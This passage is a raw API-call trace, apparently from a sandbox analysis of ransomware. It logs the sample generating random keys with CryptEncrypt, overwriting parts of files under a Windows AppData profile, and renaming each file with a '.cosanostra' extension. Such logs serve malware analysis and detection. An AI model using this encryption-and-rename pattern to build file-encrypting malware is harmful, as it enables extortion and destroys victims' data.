hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df688 | out: pbBuffer=0x28df688) returned 1 [0093.093] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df680*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df680*=0x30) returned 1 [0093.093] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.113] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak") returned 74 [0093.113] StrStrW (lpFirst="brndlog.bak", lpSrch=".txt") returned 0x0 [0093.114] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.114] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df644*=0x2800, lpOverlapped=0x0) returned 1 [0093.114] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.115] WriteFile (in: hFile=0x180, lpBuffer=0x28df684*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x28df684*, lpNumberOfBytesWritten=0x28df644*=0x4, lpOverlapped=0x0) returned 1 [0093.115] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df644, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df644*=0x30, lpOverlapped=0x0) returned 1 [0093.115] CloseHandle (hObject=0x180) returned 1 [0093.115] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.cosanostra") returned 85 [0093.115] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.bak.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\internet explorer\\brndlog.bak.cosanostra")) returned 1 [0093.118] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df680 | out: pbBuffer=0x28df680) returned 1 [0093.118] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df678*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df678*=0x30) returned 1 [0093.118] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.119] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df680 | out: pbBuffer=0x28df680) returned 1 [0093.119] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df678*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df678*=0x30) returned 1 [0093.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\kqmhsvkd\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.119] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df678 | out: pbBuffer=0x28df678) returned 1 [0093.119] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df670*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df670*=0x30) returned 1 [0093.119] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.120] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned 66 [0093.120] StrStrW (lpFirst="index.dat", lpSrch=".txt") returned 0x0 [0093.121] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.121] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df634*=0x2800, lpOverlapped=0x0) returned 1 [0093.121] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.121] WriteFile (in: hFile=0x180, lpBuffer=0x28df674*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x28df674*, lpNumberOfBytesWritten=0x28df634*=0x4, lpOverlapped=0x0) returned 1 [0093.121] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df634*=0x30, lpOverlapped=0x0) returned 1 [0093.121] CloseHandle (hObject=0x180) returned 1 [0093.121] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.cosanostra") returned 77 [0093.121] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\index.dat.cosanostra")) returned 1 [0093.122] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df678 | out: pbBuffer=0x28df678) returned 1 [0093.122] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df670*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df670*=0x30) returned 1 [0093.122] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.122] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned 68 [0093.122] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0093.123] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.123] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df634*=0x43, lpOverlapped=0x0) returned 1 [0093.123] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.123] WriteFile (in: hFile=0x180, lpBuffer=0x28df674*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x28df674*, lpNumberOfBytesWritten=0x28df634*=0x4, lpOverlapped=0x0) returned 1 [0093.123] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df634, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df634*=0x30, lpOverlapped=0x0) returned 1 [0093.123] CloseHandle (hObject=0x180) returned 1 [0093.123] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.cosanostra") returned 79 [0093.124] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\desktop.ini.cosanostra")) returned 1 [0093.125] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df670 | out: pbBuffer=0x28df670) returned 1 [0093.125] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df668*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df668*=0x30) returned 1 [0093.125] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.126] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 75 [0093.126] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0093.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df62c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df62c*=0x0, lpOverlapped=0x0) returned 1 [0093.126] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.126] WriteFile (in: hFile=0x180, lpBuffer=0x28df66c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df62c, lpOverlapped=0x0 | out: lpBuffer=0x28df66c*, lpNumberOfBytesWritten=0x28df62c*=0x4, lpOverlapped=0x0) returned 1 [0093.127] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df62c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df62c*=0x30, lpOverlapped=0x0) returned 1 [0093.127] CloseHandle (hObject=0x180) returned 1 [0093.127] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].cosanostra") returned 86 [0093.127] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1].cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\fwlink[1].cosanostra")) returned 1 [0093.127] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df668 | out: pbBuffer=0x28df668) returned 1 [0093.127] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df660*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df660*=0x30) returned 1 [0093.127] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.128] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 77 [0093.128] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0093.128] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.128] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df624, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df624*=0x43, lpOverlapped=0x0) returned 1 [0093.128] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.128] WriteFile (in: hFile=0x180, lpBuffer=0x28df664*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df624, lpOverlapped=0x0 | out: lpBuffer=0x28df664*, lpNumberOfBytesWritten=0x28df624*=0x4, lpOverlapped=0x0) returned 1 [0093.129] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df624, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df624*=0x30, lpOverlapped=0x0) returned 1 [0093.129] CloseHandle (hObject=0x180) returned 1 [0093.129] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.cosanostra") returned 88 [0093.129] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\desktop.ini.cosanostra")) returned 1 [0093.141] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df660 | out: pbBuffer=0x28df660) returned 1 [0093.141] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df658*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df658*=0x30) returned 1 [0093.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.142] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 75 [0093.142] StrStrW (lpFirst="fwlink[1]", lpSrch=".txt") returned 0x0 [0093.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.142] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df61c*=0x0, lpOverlapped=0x0) returned 1 [0093.142] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.142] WriteFile (in: hFile=0x180, lpBuffer=0x28df65c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x28df65c*, lpNumberOfBytesWritten=0x28df61c*=0x4, lpOverlapped=0x0) returned 1 [0093.143] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df61c*=0x30, lpOverlapped=0x0) returned 1 [0093.143] CloseHandle (hObject=0x180) returned 1 [0093.143] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].cosanostra") returned 86 [0093.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1]"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1].cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\fwlink[1].cosanostra")) returned 1 [0093.144] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df660 | out: pbBuffer=0x28df660) returned 1 [0093.144] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df658*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df658*=0x30) returned 1 [0093.144] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.144] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 77 [0093.144] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0093.145] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffffbd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.145] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df61c*=0x43, lpOverlapped=0x0) returned 1 [0093.145] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.145] WriteFile (in: hFile=0x180, lpBuffer=0x28df65c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x28df65c*, lpNumberOfBytesWritten=0x28df61c*=0x4, lpOverlapped=0x0) returned 1 [0093.145] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df61c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df61c*=0x30, lpOverlapped=0x0) returned 1 [0093.145] CloseHandle (hObject=0x180) returned 1 [0093.145] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.cosanostra") returned 88 [0093.145] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini.cosanostra" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\desktop.ini.cosanostra")) returned 1 [0093.172] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df658 | out: pbBuffer=0x28df658) returned 1 [0093.172] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df650*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df650*=0x30) returned 1 [0093.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.173] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df658 | out: pbBuffer=0x28df658) returned 1 [0093.173] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df650*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df650*=0x30) returned 1 [0093.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.173] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df650 | out: pbBuffer=0x28df650) returned 1 [0093.173] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df648*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df648*=0x30) returned 1 [0093.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\.." (normalized: "c:\\users\\default\\appdata\\local\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.173] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df650 | out: pbBuffer=0x28df650) returned 1 [0093.173] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df648*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df648*=0x30) returned 1 [0093.173] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\." (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.178] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28df640 | out: pbBuffer=0x28df640) returned 1 [0093.178] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x28df638*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x28df638*=0x30) returned 1 [0093.178] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0093.179] lstrlenW (lpString="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms") returned 128 [0093.179] StrStrW (lpFirst="Web Slice Gallery~.feed-ms", lpSrch=".txt") returned 0x0 [0093.184] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.185] WriteFile (in: hFile=0x180, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28df5fc, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x28df5fc*=0x2800, lpOverlapped=0x0) returned 1 [0093.185] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.185] WriteFile (in: hFile=0x180, lpBuffer=0x28df63c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28df5fc, lpOverlapped=0x0 | out: lpBuffer=0x28df63c*, lpNumberOfBytesWritten=0x28df5fc*=0x4, lpOverlapped=0x0) returned 1 [0093.185] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28df5fc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x28df5fc*=0x30, lpOverlapped=0x0) returned 1 [0093.185] CloseHandle (hObject=0x180) returned 1 [0093.185] wnsprintfW (in: pszDest=0x3023418, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.cosanostra") returned 139 [0093.185] 